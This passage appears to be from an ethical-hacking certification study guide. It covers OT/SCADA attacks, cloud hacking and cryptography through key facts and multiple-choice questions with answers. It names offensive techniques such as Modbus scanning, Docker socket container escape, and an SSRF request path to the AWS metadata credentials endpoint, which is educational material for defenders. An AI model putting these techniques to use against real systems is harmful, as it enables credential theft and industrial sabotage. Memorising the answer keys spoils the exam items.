- Protocols: Modbus, DNP3, Profinet, OPC, Ethernet/IP.
- OT systems prioritize availability and integrity over confidentiality.

- IT/OT convergence increases attack surface.

Common Pitfalls:

- OT systems often cannot be patched frequently due to uptime requirements, making them vulnerable.
- The Stuxnet attack targeted Siemens PLCs.

Practice Question:

Which protocol is commonly used in SCADA systems for communication between master and remote terminal units?

- A) Modbus
- B) HTTP
- C) SMTP
- D) DNS

Answer: A -- Modbus is a standard protocol for communication between SCADA master stations and remote terminal units (RTUs). (B, C, D: HTTP, SMTP, and DNS are general-purpose internet protocols, not industrial control protocols.)

OT Attacks

Key Facts:

- **Stuxnet** worm targeted Iranian nuclear centrifuges via Siemens S7 PLCs.
- **Crashoverride/Industroyer** disrupted Ukraine's power grid using ICS protocols.
- Attacks often start in IT network, pivot to OT via DMZ.
- HMI (Human-Machine Interface) compromise allows altering setpoints.
- PLC logic injection can cause physical destruction.

Common Pitfalls:

- Stuxnet used four zero-days and spread via USB; it altered the speed of centrifuges while reporting normal values to HMI.

Practice Question:

What was the primary delivery method of the Stuxnet worm into the air-gapped Natanz facility?

- A) RDP brute-force
- B) Infected USB drives
- C) Phishing email
- D) SQL injection

Answer: B -- Stuxnet was introduced into the air-gapped Natanz facility via infected USB drives, since the network had no direct internet connection. (A, C, D: RDP brute-force, phishing, and SQL injection all require network connectivity that an air-gapped facility doesn't have.)

OT Hacking Methodology

Key Facts:

1. **Reconnaissance:** discover OT devices with Shodan, Google dorks (e.g., "PLC").
2. **Scanning:** Modbus/TCP scan with Nmap scripts (`modbus-discover`).
3. **Exploitation:** weak authentication, default credentials on HMIs/PLCs, or protocol vulnerabilities.
4. **Lateral movement:** from IT to OT via dual-homed hosts.

Tools: Metasploit modules (SCADA), ModbusPal (simulator), PLCscan.

Common Pitfalls:

- Tools like PLCscan can read/write Modbus registers without authentication on many devices.

Practice Question:

An attacker uses Nmap script `modbus-discover` and gets device ID and coil status. This indicates:

- A) DNS service
- B) SNMP enabled
- C) HTTP server

- D) Modbus service is running and accessible without authentication

Answer: D -- A response to the modbus-discover script confirms an exposed, unauthenticated Modbus service. (A, B, C: DNS, SNMP, and HTTP are unrelated to Modbus-specific probes.)

OT Attack Countermeasures

Key Facts:

- Network segmentation with firewalls and DMZ between IT and OT.
- Disable unused services on PLCs and HMIs, enforce authentication.
- Use application whitelisting and change control on OT systems.
- Monitor OT network for anomalies (e.g., unexpected Modbus write commands).
- Regular vulnerability assessments and patch management (in scheduled maintenance).

Common Pitfalls:

- The Purdue model recommends that OT devices should not directly connect to the internet; all communications should pass through a secure DMZ.

Practice Question:

According to best practices, where should a SCADA server be placed to protect it from internet attacks?

- A) In the cloud without firewall
- B) Directly on the internet
- C) In the OT network, behind a firewall with a DMZ
- D) On the same subnet as guest Wi-Fi

Answer: C -- Best practice segments OT/SCADA systems from the internet using a firewall and DMZ (per the Purdue Model). (A, B, D: placing it in the cloud without a firewall, directly on the internet, or on a guest Wi-Fi subnet all expose it directly to attack.)

Domain 8: Cloud Computing

Sub-Domain: Cloud Computing

Cloud Computing Concepts

Key Facts:

- **Service models:** IaaS (VM), PaaS (platform), SaaS (software). Responsibility shared.
- **Deployment models:** Public, Private, Hybrid, Community.
- **Essential characteristics:** on-demand self-service, broad network access, resource pooling, rapid elasticity, measured service.
- Cloud security relies on **shared responsibility model**: provider secures infrastructure, customer secures data/app.
- Virtualization enables multi-tenancy; hypervisor creates VMs.

Common Pitfalls:

- In IaaS, customer is responsible for OS and application security; in SaaS, provider secures most, but customer manages data and user access.

Practice Question:

In which cloud service model does the customer manage the operating system and applications?

- A) SaaS
- B) IaaS
- C) None
- D) PaaS

Answer: B -- In IaaS, the provider manages only the physical infrastructure; the customer is responsible for the OS, middleware, and applications. (A: in SaaS the provider manages everything including the application; D: in PaaS the provider

manages the OS/runtime, leaving the customer just the application and data; C is not applicable.)

Container Technology

Key Facts:

- Containers package applications with dependencies, share host OS kernel, lighter than VMs.
- Docker is the most popular; images from Dockerfile; `docker run` to launch.
- Orchestration with Kubernetes: manages container clusters, pods, services.
- Security risks: image vulnerabilities, misconfigured exposed APIs, privilege escalation.
- Containers run in isolated namespaces and cgroups; escape is a major attack.

Common Pitfalls:

- A container escape attack allows the attacker to break out of the container and access the host OS.
- Docker socket `/var/run/docker.sock` exposure is dangerous.

Practice Question:

An attacker compromises a container and finds that `/var/run/docker.sock` is mounted. This can allow:

- A) XSS
- B) DDoS
- C) SQL injection
- D) Container escape and host compromise

Answer: D -- Access to `/var/run/docker.sock` effectively grants root-equivalent control of the host, enabling container escape. (A, B, C: XSS, DDoS, and SQL injection are unrelated attack types, not a consequence of Docker socket exposure.)

Serverless Computing

Key Facts:

- **Function-as-a-Service (FaaS):** AWS Lambda, Azure Functions. Code runs in stateless containers.
- No server provisioning; auto-scales. Billed per execution.
- Security concerns: event injection, insecure dependencies, overly permissive roles, and data exposure.
- Attacks: function event data tampering, denial of wallet (cost), and insecure storage.
- Logging and monitoring is crucial because traditional network security controls do not apply.

Common Pitfalls:

- Serverless functions can be triggered by cloud events (S3 bucket upload); if input not validated, attacker can inject malicious payload.

Practice Question:

A serverless function is triggered by an HTTP request and processes user-supplied data without sanitization, leading to code execution. This is:

- A) SQL injection
- B) Injection vulnerability in serverless function
- C) ARP spoofing
- D) XSS

Answer: B -- Unsanitized user input processed by a serverless function leading to code execution is an injection vulnerability specific to that serverless context. (A, D: SQL injection and XSS are more specific injection subtypes not confirmed here; C: ARP spoofing is a local network attack, unrelated.)

Cloud Computing Threats

Key Facts:

- **Data breach:** due to misconfigured storage buckets (S3, Blob).
- **Insecure APIs:** weak authentication, excessive permissions.
- **Account hijacking:** phishing cloud credentials.

- **Insider threats:** cloud admins abuse privileges.
- **Denial of Service:** resource exhaustion, cost inflation.

Common Pitfalls:

- Misconfigured AWS S3 bucket with public read/write is a common cause of data leaks.
- The exam may ask about the shared responsibility model.

Practice Question:

A company's AWS S3 bucket containing customer PII is set to "public" for read access. This is:

- A) A DDoS attack
- B) Malware
- C) A security misconfiguration
- D) Phishing

Answer: C -- A publicly readable S3 bucket holding PII is a classic cloud security misconfiguration. (A, B, D: DDoS, malware, and phishing are different attack types, not the root cause here.)

Cloud Hacking

Key Facts:

- Exploiting misconfigured cloud resources using tools like ScoutSuite, Prowler, Pacu.
- Credential harvesting via phishing or metadata service (AWS instance metadata at 169.254.169.254).
- SSRF attacks on internal cloud metadata endpoints can retrieve IAM credentials.
- Container breakout and lateral movement in Kubernetes.
- Tools: Pacu (AWS exploitation framework), kube-hunter for Kubernetes.

Common Pitfalls:

- The instance metadata endpoint (169.254.169.254) provides temporary credentials to the instance; if a web app is vulnerable to SSRF, attacker can steal those credentials.

Practice Question:

An attacker exploits an SSRF vulnerability in a web app to request

`http://169.254.169.254/latest/meta-data/iam/security-credentials/` and obtains AWS keys. This attack targets:

- A) DNS
- B) SMTP
- C) SQL server
- D) Cloud instance metadata service

Answer: D -- 169.254.169.254 is the cloud instance metadata service endpoint; SSRF to this address can leak IAM credentials. (A, B, C: DNS, SMTP, and SQL server are unrelated to this specific link-local metadata address.)

Cloud Security

Key Facts:

- **Identity and Access Management (IAM):** least privilege, MFA, rotate keys.
- **Encryption:** at rest and in transit, using KMS/HSM.
- **Network security:** security groups, NACLs, VPC segmentation.
- **Logging and monitoring:** CloudTrail, GuardDuty.
- **Compliance:** follow standards like ISO 27001, CSA STAR.

Common Pitfalls:

- Cloud security responsibility depends on service model.
- Always validate that storage buckets are not publicly accessible.

Practice Question:

To prevent unauthorized access to AWS resources, which practice is essential?

- A) Use IAM policies with least privilege and enable MFA
- B) Enable public access
- C) Use default VPC
- D) Share root credentials

Answer: A -- Least-privilege IAM policies combined with MFA are the core controls for securing AWS resource access. (B, C, D: enabling public access, using default VPCs, and sharing root credentials all increase risk rather than reduce it.)

Domain 9: Cryptography

Sub-Domain: Cryptography

Cryptography Concepts

Core Concept: Cryptography secures data confidentiality, integrity, authentication, and non-repudiation. Symmetric encryption uses one key; asymmetric uses key pairs. Hashes verify integrity. Attackers target weak algorithms or implementations.

Key Tools: OpenSSL (`openssl enc -aes-256-cbc -in file`), GPG (`gpg -c file`), Hash: `sha256sum` .

Port Numbers & Protocols: N/A

Common Pitfalls:

- Symmetric is fast for bulk data; asymmetric is used for key exchange and digital signatures.
- Stream cipher encrypts one bit/byte at a time; block cipher encrypts fixed-size blocks.
- Countermeasure: Use strong, modern algorithms (AES, RSA 2048+), keep keys secret, use proper key management.

Practice Question:

Which type of encryption algorithm uses the same key for both encryption and decryption?

- A) Digital signature
- B) Asymmetric
- C) Hashing
- D) Symmetric

Answer: D -- Symmetric uses a shared secret.

Encryption Algorithms

Core Concept:

- **Symmetric:** DES (obsolete), 3DES (legacy), AES (gold standard).
- **Asymmetric:** RSA, ECC, Diffie-Hellman (key exchange), ElGamal.
- **Hash:** MD5 (broken), SHA-1 (deprecated), SHA-256/512.
- RC4, Blowfish also appear.

Key Tools: OpenSSL for algorithm operations. `openssl speed` for benchmarks.

Port Numbers & Protocols: N/A

Common Pitfalls:

- DES has 56-bit key, AES supports 128/192/256.
- RSA key length 2048+.
- Diffie-Hellman is key agreement, not encryption.
- Countermeasure: Disable legacy algorithms (DES, MD5, RC4) in configurations.

Practice Question:

An organization needs to exchange a session key securely over an insecure channel. Which algorithm is designed for this?

- A) Base64
- B) AES
- C) Diffie-Hellman
- D) SHA-256

Answer: C -- Diffie-Hellman allows secure key exchange.

Cryptography Tools

Core Concept: Tools implement cryptographic operations. OpenSSL is multi-purpose; GPG/PGP for email/file encryption; VeraCrypt for disk; Hashcat for cracking; Bcrypt for password hashing.

Key Tools:

- **OpenSSL:** `openssl req -new -x509 -keyout key.pem` (generate cert)
- **GPG:** `gpg --gen-key`
- **Cryptool:** educational
- **Hashcalc:** calculate hashes

Port Numbers & Protocols: N/A

Common Pitfalls:

- VeraCrypt for full disk encryption, PGP for email, OpenSSL for SSL/TLS certs.
- Countermeasure: Use these tools to encrypt data at rest and in transit, and manage certificates.

Practice Question:

A security analyst needs to create a self-signed certificate for a web server. Which command-line tool would they likely use?

- A) John the Ripper
- B) OpenSSL
- C) Wireshark
- D) Nmap

Answer: B -- OpenSSL can generate X.509 certs.

Public Key Infrastructure (PKI)

Core Concept: PKI manages digital certificates using a Certificate Authority (CA).

Components: CA, Registration Authority (RA), certificate repository. X.509 standard. Used for SSL/TLS, code signing.

Key Tools: OpenSSL (CA creation), Microsoft CA, certutil, keytool (Java).

Port Numbers & Protocols: LDAP 389, HTTP 80 for CRL distribution.

Common Pitfalls:

- The CA issues the certificate; RA verifies identity.
- Certificate revocation is done via CRL (list) or OCSP (real-time).

- If the CA is compromised, all its certs are suspect.
- Countermeasure: Protect private key of CA, use offline root CA, monitor for unauthorized certs.

Practice Question:

A browser needs to check if a website's certificate has been revoked. Which protocol provides real-time status?

- A) CRL
- B) DHCP
- C) OCSP
- D) DNS

Answer: C -- OCSP provides online certificate status.

Email Encryption

Core Concept: Encrypting email ensures confidentiality (only recipient can read) and integrity. PGP and S/MIME are standards. PGP uses web of trust, S/MIME uses hierarchical CA.

Key Tools: PGP/GnuPG (`gpg --encrypt --recipient user@example.com file`), S/MIME built into email clients, Mailvelope (browser).

Port Numbers & Protocols: SMTP 25/587, IMAP 143, POP3 110.

Common Pitfalls:

- PGP uses a combination of symmetric (session key) and asymmetric (key exchange).
- PGP uses IDEA or AES for symmetric; RSA for public key.
- S/MIME uses X.509 certs.

Countermeasures: Use email encryption for sensitive data, enforce policies.

Practice Question:

Which email encryption protocol uses a distributed trust model (web of trust) instead of a central CA?

- A) S/MIME
- B) IPsec
- C) SSL/TLS
- D) PGP

Answer: D -- PGP uses web of trust.

Disk Encryption

Core Concept: Full disk encryption (FDE) protects data at rest. If a device is lost, data remains unreadable without key. Tools: BitLocker (Windows), FileVault (macOS), LUKS (Linux), VeraCrypt.

Key Tools:

- BitLocker: `manage-bde -on C:`
- VeraCrypt: create encrypted volume
- LUKS: `cryptsetup luksFormat /dev/sda1`

Port Numbers & Protocols: N/A

Common Pitfalls:

- TPM (Trusted Platform Module) stores BitLocker keys securely. Without TPM, a USB key or PIN is needed.
- Cold boot attacks against disk encryption.

Countermeasures: Use strong passphrases, enable Secure Boot, combine TPM with PIN.

Practice Question:

A laptop with BitLocker enabled is stolen. What prevents the thief from accessing the data?

- A) Antivirus
- B) Strong Windows password
- C) BIOS password
- D) The disk is encrypted and requires the decryption key

Answer: D -- Full disk encryption secures data even if OS password is bypassed.

Cryptanalysis

Core Concept: Cryptanalysis is the study of breaking cryptographic systems. Methods: brute-force, ciphertext-only, known-plaintext, chosen-plaintext, man-in-the-middle, side-channel, birthday attack on hashes.

Key Tools: Hashcat (brute-force), John the Ripper, Cryptool, Wireshark.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Birthday attack exploits collision probability in hash functions (related to $2^{(n/2)}$ for n-bit hash).
- Side-channel attacks measure physical info (power, timing).
- Known-plaintext uses known pairs to break encryption.

Countermeasures: Use long keys, strong algorithms, avoid vulnerable implementations, use constant-time operations.

Practice Question:

An attacker intercepts encrypted messages and also knows some plaintext portions (e.g., header). They use this to derive the key. What type of attack?

- A) Brute-force
- B) Known-plaintext
- C) Replay
- D) Chosen-ciphertext

Answer: B -- Known-plaintext uses known pairs to break encryption.

Cryptography Attack Countermeasures

Core Concept: Use strong, standard algorithms; keep keys private; use key rotation; employ proper PKI; implement salt for password hashing; use authenticated encryption;

and use TLS 1.3 for communications.

Key Tools: Configure server to disable weak ciphers (e.g., Apache `SSLCipherSuite`), HSTS, certificate pinning. Hash passwords with bcrypt/scrypt/PBKDF2.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Salting prevents rainbow table attacks by adding random data to each password hash.
- Countermeasure against MitM on TLS is certificate pinning.

Countermeasures: Regular security audits and compliance with standards like PCI DSS (strong encryption).

Practice Question:

To defend against rainbow table attacks on password databases, what should be used?

- A) Long passwords
- B) A unique salt per password
- C) MD5 hashing
- D) Strong encryption

Answer: B -- Salting makes precomputed tables ineffective.